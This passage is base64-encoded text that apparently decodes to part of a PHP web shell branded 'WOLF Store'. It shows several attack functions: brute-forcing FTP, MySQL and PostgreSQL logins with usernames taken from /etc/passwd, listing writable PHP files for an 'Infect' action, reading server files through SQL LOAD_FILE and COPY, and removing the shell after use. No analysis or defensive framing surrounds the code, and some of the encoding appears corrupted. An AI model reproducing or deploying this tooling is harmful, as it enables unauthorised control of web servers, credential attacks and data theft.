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ID0gQGZ0cF9jb25uZWN0KCRpcCwgJHBvcnQ/JHBvcnQ6MjEpOw0KCQkJCWlmKCEkZnApIHJldHVybiBmYWxzZTsNCgkJCQkkcmVzID0gQGZ0cF9sb2dpbigkZnAsICRsb2dpbiwgJHBhc3MpOw0KCQkJCUBmdHBfY2xvc2UoJGZwKTsNCgkJCQlyZXR1cm4gJHJlczsNCgkJCX0NCgkJfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnbXlzcWwnICkgew0KCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7DQoJCQkJJHJlcyA9IEBteXNxbF9jb25uZWN0KCRpcC4nOicuKCRwb3J0PyRwb3J0OjMzMDYpLCAkbG9naW4sICRwYXNzKTsNCgkJCQlAbXlzcWxfY2xvc2UoJHJlcyk7DQoJCQkJcmV0dXJuICRyZXM7DQoJCQl9DQoJCX0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ3Bnc3FsJyApIHsNCgkJCWZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgew0KCQkJCSRzdHIgPSAiaG9zdD0nIi4kaXAuIicgcG9ydD0nIi4kcG9ydC4iJyB1c2VyPSciLiRsb2dpbi4iJyBwYXNzd29yZD0nIi4kcGFzcy4iJyBkYm5hbWU9cG9zdGdyZXMiOw0KCQkJCSRyZXMgPSBAcGdfY29ubmVjdCgkc3RyKTsNCgkJCQlAcGdfY2xvc2UoJHJlcyk7DQoJCQkJcmV0dXJuICRyZXM7DQoJCQl9DQoJCX0NCgkJJHN1Y2Nlc3MgPSAwOw0KCQkkYXR0ZW1wdHMgPSAwOw0KCQkkc2VydmVyID0gZXhwbG9kZSgiOiIsICRfUE9TVFsnc2VydmVyJ10pOw0KCQlpZigkX1BPU1RbJ3R5cGUnXSA9PSAxKSB7DQoJCQkkdGVtcCA9IEBmaWxlKCcvZXRjL3Bhc3N3ZCcpOw0KCQkJaWYoIGlzX2FycmF5KCR0ZW1wKSApDQoJCQkJZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgew0KCQkJCQkkbGluZSA9IGV4cGxvZGUoIjoiLCAkbGluZSk7DQoJCQkJCSsrJGF0dGVtcHRz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